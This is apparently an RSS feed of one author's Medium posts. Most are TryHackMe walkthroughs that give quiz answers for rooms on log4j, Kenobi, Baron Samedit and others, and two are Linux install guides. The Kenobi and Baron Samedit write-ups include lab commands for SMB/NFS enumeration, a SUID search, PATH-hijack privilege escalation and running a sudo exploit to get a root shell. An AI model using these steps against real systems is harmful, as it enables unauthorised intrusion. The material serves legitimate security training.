<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by amanpatel on Medium]]></title>
        <description><![CDATA[Stories by amanpatel on Medium]]></description>
        <link>https://medium.com/@aman-patel?source=rss-27d62ce69f18------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*j2ieRAjT5fXIrIZb</url>
            <title>Stories by amanpatel on Medium</title>
            <link>https://medium.com/@aman-patel?source=rss-27d62ce69f18------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 23:29:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aman-patel/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Solar, exploiting log4j Walkthrough.]]></title>
            <link>https://aman-patel.medium.com/tryhackme-solar-exploiting-log4j-walkthrough-df22c0b5a353?source=rss-27d62ce69f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/df22c0b5a353</guid>
            <category><![CDATA[solar]]></category>
            <category><![CDATA[apache-log4j]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[log4j]]></category>
            <dc:creator><![CDATA[amanpatel]]></dc:creator>
            <pubDate>Thu, 16 Dec 2021 17:10:02 GMT</pubDate>
            <atom:updated>2023-10-27T07:49:12.030Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m2B0hyZmS3w74dZwVmVcGg.png" /><figcaption>Solar, exploiting log4j Walkthrough</figcaption></figure><p>You can access the room through this link: <a href="https://tryhackme.com/room/solar">https://tryhackme.com/room/solar</a></p><p><strong>Task 1 CVE-2021–44228 Introduction</strong></p><p>In this module you just need to read the content given.</p><p><strong>Task 2 Reconnaissance</strong></p><p>What service is running on port 8983? (Just the name of the software) → <em>Apache Solr</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*aiwtuEu8AxFN7dcgNC2UJg.png" /><figcaption><em>Apache Solr</em></figcaption></figure><p><strong>Task 3 Discovery</strong></p><p><strong><em>Download the attached files</em></strong></p><p>Take a close look at the first page visible when navigating to <a href="http://MACHINE_IP:8983.">http://MACHINE_IP:8983.</a> You should be able to see clear indicators that log4j is in use within the application for logging activity. What is the -Dsolr.log.dir argument set to, displayed on the front page? → <em>/var/solr/logs</em></p><p>One file has a significant number of INFO entries showing repeated requests to one specific URL endpoint. Which file includes contains this repeated entry? (Just the filename itself, no path needed)→ <em>solr.log</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*blKFcme2ivjTid-L9R31Rw.png" /><figcaption><em>solr.log</em></figcaption></figure><p>What “path” or URL endpoint is indicated in these repeated entries? → <em>/admin/cores</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*37OVzymdCoLVWFuV_a1R1g.png" /><figcaption><em>/admin/cores</em></figcaption></figure><p>Viewing these log entries, what field name indicates some data entrypoint that you as a user could control? (Just the field name) →<em> params</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eoqoOqo-bJJJw2RIYdYJPg.png" /><figcaption>params</figcaption></figure><p><strong>Task 4 Proof of Concept</strong></p><p><em>In this module you just need to reed the contain.</em></p><p><strong>Task 5 Exploitation</strong></p><p>What is the output of running this command? (You should leave this terminal window open as it will be actively awaiting connections) → <em>Listening on 0.0.0.0:1389</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oJMFkAnGrU1GQ-twJJjANw.png" /><figcaption><em>Listening on 0.0.0.0:1389</em></figcaption></figure><p><strong>Task 6 Persistence</strong></p><p>What user are you? → <em>solr</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*nsVXK5jmsS19O9aJZ3vbrA.png" /><figcaption>solr</figcaption></figure><p><strong>Task 7 Detection</strong></p><p><em>In this module you just need to reed the contain.</em></p><p><strong>Task 8 Bypasses</strong></p><p><em>In this module you just need to reed the contain.</em></p><p><strong>Task 9 Mitigation</strong></p><p>What is the full path of the specific solr.in.sh file? →<em> /etc/default/solr.in.sh</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*pqrFfiSuQ6fAjzfwZQWfEA.png" /><figcaption>/etc/default/solr.in.sh</figcaption></figure><p><strong>Task 10 Patching</strong></p><p><em>In this module you just need to reed the contain.</em></p><p><strong>Task 11 Credits and Author’s Notes</strong></p><p><em>In this module you just need to reed the contain.</em></p><p><strong><em>Note :- Always terminate the machine you deployed in this room.</em></strong></p><p><strong><em>Thanks for reading hope you guys like. Post your questions in the comment section below!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df22c0b5a353" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to install Sublime Test Editor in Kali Linux ?]]></title>
            <link>https://aman-patel.medium.com/how-to-install-sublime-test-editor-in-kali-linux-eaa5b71d677d?source=rss-27d62ce69f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/eaa5b71d677d</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[debian]]></category>
            <category><![CDATA[kali]]></category>
            <category><![CDATA[sublimetext]]></category>
            <category><![CDATA[sublime]]></category>
            <dc:creator><![CDATA[amanpatel]]></dc:creator>
            <pubDate>Fri, 24 Sep 2021 16:01:26 GMT</pubDate>
            <atom:updated>2021-09-24T16:01:26.774Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to install Sublime Test Editor in Kali Linux ?</h3><p><strong>Only four simple steps :-</strong></p><p># <em>wget -qO — </em><a href="https://download.sublimetext.com/sublimehq-pub.gpg"><em>https://download.sublimetext.com/sublimehq-pub.gpg</em></a><em> | sudo apt-key add -</em></p><p># <em>echo “deb </em><a href="https://download.sublimetext.com/"><em>https://download.sublimetext.com/</em></a><em> apt/stable/” | sudo tee /etc/apt/sources.list.d/sublime-text.list</em></p><p># <em>apt update</em></p><p># <em>apt install sublime-text</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eaa5b71d677d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Install Signal in kali linux?]]></title>
            <link>https://aman-patel.medium.com/how-to-install-signal-in-kali-linux-ba8aa880407d?source=rss-27d62ce69f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba8aa880407d</guid>
            <category><![CDATA[installation]]></category>
            <category><![CDATA[kali]]></category>
            <category><![CDATA[signal]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[amanpatel]]></dc:creator>
            <pubDate>Wed, 01 Sep 2021 04:00:19 GMT</pubDate>
            <atom:updated>2021-09-01T04:01:18.252Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em># NOTE: These instructions only work for 64 bit Debian-based<br># Linux distributions such as Ubuntu, Mint etc.</em></strong></p><p><strong># 1. Install our official public software signing key</strong><br><em>wget -O- </em><a href="https://updates.signal.org/desktop/apt/keys.asc"><em>https://updates.signal.org/desktop/apt/keys.asc</em></a><em> | gpg — dearmor &gt; signal-desktop-keyring.gpg<br>cat signal-desktop-keyring.gpg | sudo tee -a /usr/share/keyrings/signal-desktop-keyring.gpg &gt; /dev/null</em></p><p><strong># 2. Add our repository to your list of repositories</strong><br><em>echo ‘deb [arch=amd64 signed-by=/usr/share/keyrings/signal-desktop-keyring.gpg] </em><a href="https://updates.signal.org/desktop/apt"><em>https://updates.signal.org/desktop/apt</em></a><em> xenial main’ |\<br> sudo tee -a /etc/apt/sources.list.d/signal-xenial.list</em></p><p><strong># 3. Update your package database and install signal</strong><br><em>sudo apt update &amp;&amp; sudo apt install signal-desktop</em></p><p><strong>reference :- </strong><a href="https://signal.org/download/#">https://signal.org/download/#</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba8aa880407d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Kenobi Walkthrough.]]></title>
            <link>https://aman-patel.medium.com/tryhackme-kenobi-walkthrough-7f9a01df518?source=rss-27d62ce69f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f9a01df518</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[kenobi]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[amanpatel]]></dc:creator>
            <pubDate>Tue, 13 Jul 2021 10:25:39 GMT</pubDate>
            <atom:updated>2021-07-13T10:25:39.775Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7uNJ7S6T_Bf9y7tsjqKpng.png" /><figcaption>Kenobi<a href="https://r4v4n.medium.com/tryhackme-cryptography-for-dummies-walkthrough-4713f1cc10b9?source=user_profile---------0----------------------------"> Walkthrough.</a></figcaption></figure><p>You can access the room through this link: <a href="https://tryhackme.com/room/kenobi">https://tryhackme.com/room/kenobi</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*luq8gSsCBw4CXLQXdrkYAw.gif" /><figcaption>Kenobi</figcaption></figure><p><strong>Task 1 :- Deploy the vulnerable machine</strong></p><p><em>Make sure you’re connected to our network and deploy the machine → No answer needed.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*tB_VdjuIjLcpYRAkc_iz3w.png" /></figure><p>Hint :- nmap ip -vvv<br><em>Scan the machine with nmap, how many ports are open? → 7</em></p><p><strong>Task 2 :- Enumerating Samba for shares</strong></p><blockquote>nmap -p 445 — script=smb-enum-shares.nse,smb-enum-users.nse MACHINE_IP</blockquote><p><em>Using the nmap command above, how many shares have been found? → 3</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*nYg8y6wMdfaXzkAsYax5DQ.png" /></figure><blockquote>smbclient //&lt;ip&gt;/anonymous</blockquote><p><em>Once you’re connected, list the files on the share. What is the file can you see? → log.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*veQeyzU9Kvf3xLeOf6Rzeg.png" /></figure><p><em>What port is FTP running on? → 21</em></p><blockquote>nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount MACHINE_IP</blockquote><p><em>What mount can we see? → /var</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*xEqWuNvKSsTKsUdjN-6jMA.png" /></figure><p><strong>Task 3 :-Gain initial access with ProFtpd</strong></p><p><em>What is the version? → 1.3.5</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*Jv2YMEPFk4O2AArK0fItzg.png" /></figure><p><em>How many exploits are there for the ProFTPd running? → 3</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*lydarkiNAlEC10nzFjTrSg.png" /></figure><blockquote>You should have found an exploit from ProFtpd’s <a href="http://www.proftpd.org/docs/contrib/mod_copy.html">mod_copy module</a>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*DmQkc3E45aauL8eaeqAyFQ.png" /></figure><p>mkdir /mnt/kenobiNFS<br> mount machine_ip:/var /mnt/kenobiNFS<br> ls -la /mnt/kenobiNFS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fwkVsfUV20B_vQlYW8ksnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*DQsQXKhb11ET17HHw6zg8w.png" /></figure><p><em>What is Kenobi’s user flag (/home/kenobi/user.txt)? → *****************************</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*zy_csoaSM1PSKMHI2rgwdw.png" /></figure><p><strong>Task 4 :- Privilege Escalation with Path Variable Manipulation</strong></p><blockquote>find / -perm -u=s -type f 2&gt;/dev/null</blockquote><p><em>What file looks particularly out of the ordinary? → /usr/bin/menu</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*xHzY9le41PltIrGE-qNXBA.png" /></figure><p><em>Run the binary, how many options appear? → 3</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*NZfMebQfAUqZZvoQy0SHAw.png" /></figure><blockquote>We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!</blockquote><blockquote>Running the <em>strings</em> command on the <em>/usr/bin/menu</em> binary we can see that this is running without a full path (i.e. not using <em>/usr/bin/curl</em> or <em>/usr/bin/uname</em>):</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*KpMBnfUzHn9kooaRAhB3Cw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OjPfoUKyL8PbITPFSrpXUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g449hCFWybSD0csFyatYtA.png" /></figure><p><em>What is the root flag (/root/root.txt)? → ********************************</em></p><p><strong><em>Note :- Always terminate the machine you deployed in this room.</em></strong></p><p><strong><em>Thanks for reading hope you guys like. Post your questions in the comment section below!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f9a01df518" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Cryptography for Dummies Walkthrough.]]></title>
            <link>https://aman-patel.medium.com/tryhackme-cryptography-for-dummies-walkthrough-4713f1cc10b9?source=rss-27d62ce69f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/4713f1cc10b9</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cryptography-for-dummies]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[amanpatel]]></dc:creator>
            <pubDate>Tue, 13 Jul 2021 06:45:53 GMT</pubDate>
            <atom:updated>2021-07-13T06:45:53.239Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0kGZJjtloL-jpVJCmuvDrw.png" /><figcaption>Cryptography for Dummies Walkthrough.</figcaption></figure><p>You can access the room through this link: <a href="https://tryhackme.com/room/cryptographyfordummies">https://tryhackme.com/room/cryptographyfordummies</a></p><p><strong>Task 1 :- Intro</strong></p><p><em>I understand why cryptography is important! → No answer needed.</em></p><p><strong>Task 2 :- Types of cryptography</strong></p><p><em>What type of cryptography is more secure? → Asymmetric.</em></p><p><em>What type of cryptography is faster? → Symmetric.</em></p><p><em>What type of cryptography will a Bank site use? → Asymmetric.</em></p><p><em>What will you use to encrypt your messages in asymmetric cryptography? → public key.</em></p><p><em>What will you use to decrypt messages in asymmetric cryptography? → private key.</em></p><p><em>Does symmetric cryptography use two different keys for encryption/decryption? (yea/nay) → nay.</em></p><p><strong>Task 3 :- What is a hash?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*yOK3EtPdrLKtJlwUpwYxew.png" /><figcaption>Hashing Algorithm</figcaption></figure><p><em>I understand what are hashes! → No answer needed.</em></p><p>Hint :- There are plenty of online tools to generate hashes!<strong> </strong><a href="https://www.md5online.org/md5-encrypt.html"><strong>Link</strong></a><strong>.</strong></p><p><em>What’s the MD5 hash of “hashes are cool”? → f762d32e3c160900d94b683e927555b9</em></p><p><em>What does MD5 stand for? → message digest 5</em></p><p>Hint :- Research!<strong> </strong><a href="https://en.wikipedia.org/wiki/MD5"><strong>Link</strong></a>.</p><p><em>Who created MD5? → Ronald Rivest</em></p><p><strong>Task 4 :- Decoding/encoding</strong></p><p>Hint :- There are a plenty of online tools for decoding/encoding Base64! <a href="https://www.base64decode.org/"><strong>Link</strong></a>.</p><p><em>Encode the string “cryptographyisuseful” with Base64 → Y3J5cHRvZ3JhcGh5aXN1c2VmdWw=</em></p><p><em>Decode the string “dGhlIHNlY3JldCB3b3JkIGlzIDogd2F0ZXJtZWxvbg==”. What’s the secret word? → watermelon</em></p><p><strong>Task 5 :- Thanks for reading!</strong></p><p><strong><em>Note :- Always terminate the machine you deployed in this room.</em></strong></p><p><strong><em>Thanks for reading hope you guys like. Post your questions in the comment section below!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4713f1cc10b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Windows Fundamentals 3 Walkthrough.]]></title>
            <link>https://aman-patel.medium.com/tryhackme-windows-fundamentals-3-walkthrough-5fbe423ca43f?source=rss-27d62ce69f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fbe423ca43f</guid>
            <category><![CDATA[windows-fundamentals]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[amanpatel]]></dc:creator>
            <pubDate>Sat, 10 Jul 2021 11:25:36 GMT</pubDate>
            <atom:updated>2021-07-10T11:25:36.607Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ItVA0InjSvqELIomMJ9Qg.png" /><figcaption>Windows Fundamentals 3Walkthrough.</figcaption></figure><p>You can access the room through this link: <a href="https://tryhackme.com/room/windowsfundamentals3xzx">https://tryhackme.com/room/windowsfundamentals3xzx</a></p><p><strong>Task 1:- Introduction</strong></p><p><em>Read the above and start the virtual machine. → No answer needed.</em></p><p><strong>Task 2 :- Windows Updates</strong></p><p><em>There were two definition updates installed in the attached VM. On what date were these updates installed? → 5/3/2021 .</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*QLgxJjrOYrb5xCR6dEX0zA.png" /><figcaption><em>5/3/2021</em></figcaption></figure><p><strong>Task 3 :- Windows Security</strong></p><p><em>In the below image, which area needs immediate attention? → Virus &amp; threat protection.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*ExHo9BffVKgRhK5eUveXnA.png" /><figcaption><em>Virus &amp; threat protection.</em></figcaption></figure><p><strong>Task 4 :- Virus &amp; threat protection</strong></p><p><em>Specifically, what is turned off that Windows is notifying you to turn on? → Real-time protection.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*oOa8yslFVxdjnVI7-79lSw.png" /><figcaption><em>Real-time protection</em></figcaption></figure><p><strong>Task 5 :- Firewall &amp; network protection</strong></p><p><em>If you were connected to airport Wi-Fi, what most likely will be the active firewall profile? → Public network.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*yh5OI_iB0cEFXW9B8IvLSQ.png" /><figcaption><em>Public network</em></figcaption></figure><p><strong>Task 6 :- App &amp; browser control</strong></p><p><em>Read the above. → No answer needed.</em></p><p><strong>Task 7 :- Device security</strong></p><p><em>What is the TPM? → Trusted Platform Module.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*zk8Y-0ZQtDi8vp6hK0SfVQ.png" /><figcaption><em>Trusted Platform Module</em></figcaption></figure><p><strong>Task 8 :- BitLocker</strong></p><p><em>What must a user insert on computers that DO NOT have a TPM version 1.2 or later? → USB startup key.</em></p><p>You may find this answer <a href="https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlocker-overview">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*BetWYKXbqCylYbgJDTa06Q.png" /><figcaption><em>USB startup key</em></figcaption></figure><p><strong>Task 9 :- Volume Shadow Copy Service</strong></p><p><em>What is VSS? → Volume Shadow Copy Service.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*-xLveecm3il0ZS1KuliE7A.png" /><figcaption><em>Volume Shadow Copy Service</em></figcaption></figure><p><strong>Task 10 :- Conclusion</strong></p><p><strong><em>Always terminate the Windows machine you deployed in this room.</em></strong></p><p>And also visit if don’t</p><p><a href="https://tryhackme.com/room/windowsfundamentals1xbx">Windows Fundamentals 1</a></p><p><a href="https://tryhackme.com/room/windowsfundamentals2x0x">Windows Fundamentals 2</a></p><p><strong><em>Thanks for reading hope you guys like. Post your questions in the comment section below!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fbe423ca43f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Getting Started Walkthrough.]]></title>
            <link>https://aman-patel.medium.com/tryhackme-getting-started-walkthrough-5b5b17b6ab4b?source=rss-27d62ce69f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b5b17b6ab4b</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[getting-started]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[amanpatel]]></dc:creator>
            <pubDate>Mon, 05 Jul 2021 07:41:33 GMT</pubDate>
            <atom:updated>2021-07-05T07:41:33.449Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0kGZJjtloL-jpVJCmuvDrw.png" /><figcaption>Getting Started Walkthrough.</figcaption></figure><p>You can access the room through this link: <a href="https://tryhackme.com/room/gettingstarted">https://tryhackme.com/room/gettingstarted</a></p><p>Get started with TryHackMe by hacking a fake social media website!</p><p><strong>Task 1 :- Information Disclosure On BFFs Social Media Website</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*dS_NAgIsAkKFBTMyfnR1FA.png" /><figcaption>main web site page <a href="http://machine_ip/">http://MACHINE_IP</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*RzghEz29Z28pdzcvgKElGw.png" /><figcaption><em>/test-admin</em></figcaption></figure><p><em>What is the name of the hidden admin page? → /test-admin</em></p><p><strong>Task 2 :- Default Credentials</strong></p><p><em>What is the username and password in the form username:password? → admin:admin</em></p><p>Default username and password</p><p><em>How many user are signed up to the application? → 3</em></p><p><strong><em>Note :- Always terminate the machine you deployed in this room.</em></strong></p><p><strong><em>Thanks for reading hope you guys like. Post your questions in the comment section below!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b5b17b6ab4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: History of Malware Walkthrough.]]></title>
            <link>https://aman-patel.medium.com/tryhackme-history-of-malware-walkthrough-3d9f3caedd00?source=rss-27d62ce69f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d9f3caedd00</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[amanpatel]]></dc:creator>
            <pubDate>Sun, 04 Jul 2021 11:48:59 GMT</pubDate>
            <atom:updated>2021-07-04T11:48:59.444Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0kGZJjtloL-jpVJCmuvDrw.png" /><figcaption>History of Malware Walkthrough.</figcaption></figure><p>You can access the room through this link: <a href="https://tryhackme.com/room/historyofmalware">https://tryhackme.com/room/historyofmalware</a></p><p><strong>Task 1 :- Introduction</strong></p><p>Read the above. → No answer needed.</p><p><strong>Task 2 The Creeper Program</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V2m7em-uPD77LtyL6nGX6w.png" /><figcaption><em>von Neumann architecture.</em></figcaption></figure><p><em>Who re-designed the Creeper Virus? → Ray Tomlinson</em></p><p><em>Hint :- It is a form of switching.<br>How is data transferred through a network? → Packet Switching</em></p><p><em>Hint :- He also created a computer architecture.<br>Who created the first concept of a virus? → John von Neumann</em></p><p><em>Hint :- This includes correct grammar.<br>What text did the Creeper program print to the screen? → I’m the creeper, catch me if you can!</em></p><p><em>What does ARPANET stand for? → Advanced Research Projects Agency Network</em></p><p><em>Which team created the network control program? → Network Working Group</em></p><p><em>What is the first virus commonly known as? → Creeper</em></p><p><strong>Task 3 :- Reaper</strong></p><p><em>Who created Reaper? → Ray Tomlinson</em></p><p><em>Hint :- This is covered towards the end of the page.<br>What type of malware may Reaper be known as? → Nematode</em></p><p><em>What was the first ever anti-virus program known as? → Reaper</em></p><p><em>What was Bob Thomas’ main project to develop? → A resource-sharing capability</em></p><p><em>Hint :- Google (The resource was given)<br>Research: What does API stand for? → Application Programming Interface</em></p><p><strong>Task 4 :- Wabbit</strong></p><p><em>When was PERVADE added to ANIMAL? → 1975</em></p><p><em>Was Rabbit one of the first malicious programs? (Y/N) → Y</em></p><p><em>Hint :- Name of the cartoon.<br>What did the name “Wabbit” derive from? → looney tunes cartoons</em></p><p><strong>Task 5 :- ANIMAL</strong></p><p><em>When was PERVADE added to ANIMAL? → 1975</em></p><p><em>Did John think this was a good idea? (Y/N) → Y</em></p><p><em>What computers did the program spread across? → UNIVACs</em></p><p><em>What type of malware is ANIMAL also known as? → a Trojan</em></p><p><em>Hint :- Start answer with “The”<br>Who built the wooden horse? → the Greeks</em></p><p><strong>Task 6 :- Elk Cloner</strong></p><p><em>Which US Military regiment caught the virus? → US navy</em></p><p><em>How many lines long is the Elk Cloner poem? → 7</em></p><p><em>When was Elk Cloner written? → 1982<br> <br>Is a boot sector virus more or less common in modern technology? → less<br> <br>How long did it take Richard to write the program? → 2 weeks<br> <br>Which Operating System was affected? → Apple ii</em></p><p><strong>Task 7 :- The Morris Internet Worm</strong></p><p><em>Hint :- Full Name.<br>What commands were a very big way that allowed Morris to access the computers? → Berkeley r-commands</em></p><p><em>Hint :- Full name…<br>Who was one the first person prosecuted for the computer misuse act? → Robert Tappan Morris</em></p><p><em>What type of attack is a “Fork Bomb”? → denial of service</em></p><p><em>When was this worm released? → 1988</em></p><p><em>How many computers did it infect within 15 hours? → 2000</em></p><p><em>What does rsh mean? → remote shell</em></p><p><em>Under which act was Morris arrested for? → 1986 Computer Fraud and Abuse act</em></p><p><strong>Task 8 :- Cascade</strong></p><p><em>What was the name of this virus? → Cascade <br> <br>What file extensions would this virus infect? → .com<br> <br>How many variants of there virus were possibly found? → 40<br> <br>What operating system would the virus run on? → DOS<br> <br>Which Operating System/Frame Work would Cascade try to avoid? → IBM</em></p><p><em>How many bytes would be added onto your file if it got infected? → 1704</em></p><p><strong><em>Thanks for reading hope you guys like. Post your questions in the comment section below!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d9f3caedd00" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Baron Samedit Walkthrough.]]></title>
            <link>https://aman-patel.medium.com/tryhackme-baron-samedit-walkthrough-434908b96ca4?source=rss-27d62ce69f18------2</link>
            <guid isPermaLink="false">https://medium.com/p/434908b96ca4</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[baron-samedit]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[amanpatel]]></dc:creator>
            <pubDate>Sun, 04 Jul 2021 10:14:11 GMT</pubDate>
            <atom:updated>2021-07-04T10:14:11.743Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kb4c0OGdBQBcj7k2NJHGwQ.png" /><figcaption>Baron Samedit Walkthrough.</figcaption></figure><p>You can access the room through this link: <a href="https://tryhackme.com/room/sudovulnssamedit">https://tryhackme.com/room/sudovulnssamedit</a></p><p><strong>Task 1 :- Deploy!</strong></p><p><em>Deployed! → No answer needed.</em></p><p><strong>Task 2 :- Baron Samedit</strong></p><p>Use the machine in your browser, or login over SSH using these credentials:<br>• <strong>Username: </strong>tryhackme<br>• <strong>Password: </strong>tryhackme</p><p>The command will be:<br>ssh tryhackme@MACHINE_IP</p><p>tryhackme@CVE-2021–3156:~$ ll<br>tryhackme@CVE-2021–3156:~$ cd Exploit/<br>tryhackme@CVE-2021–3156:~/Exploit$ make</p><p><em>After compiling the exploit, what is the name of the executable created (blurred in the screenshots above)? → sudo-hax-me-a-sandwich</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*_xe_CeHfthxDzlnhgInxGw.png" /><figcaption><em>sudo-hax-me-a-sandwich</em></figcaption></figure><p>tryhackme@CVE-2021–3156:~/Exploit$ ll</p><p>Hint :- Run the exploit!</p><p>tryhackme@CVE-2021–3156:~/Exploit$ ./sudo-hax-me-a-sandwich 0</p><p># id <br># cat /root/flag.txt</p><p><em>You should now have a root shell — what is the flag in </em><em>/root/flag.txt? → THM{*******************************}</em></p><p><strong><em>Note :- Always terminate the machine you deployed in this 